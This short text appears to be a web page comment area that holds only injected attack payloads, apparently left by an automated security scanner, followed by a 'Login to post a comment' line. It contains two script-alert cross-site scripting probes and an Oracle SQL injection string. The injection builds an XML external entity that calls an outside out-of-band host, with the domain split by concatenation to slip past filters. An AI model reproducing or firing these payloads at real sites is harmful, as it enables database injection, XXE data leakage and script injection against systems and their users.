<script>alert(1)</script>'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % upmej SYSTEM "http://vqpe1gy10xxue3yecnkr9jt55wbpzonsbkycm1.oasti'||'fy.com/">%upmej;]>'),'/l') from dual)||'

<script>alert(2)</script>

Login to post a comment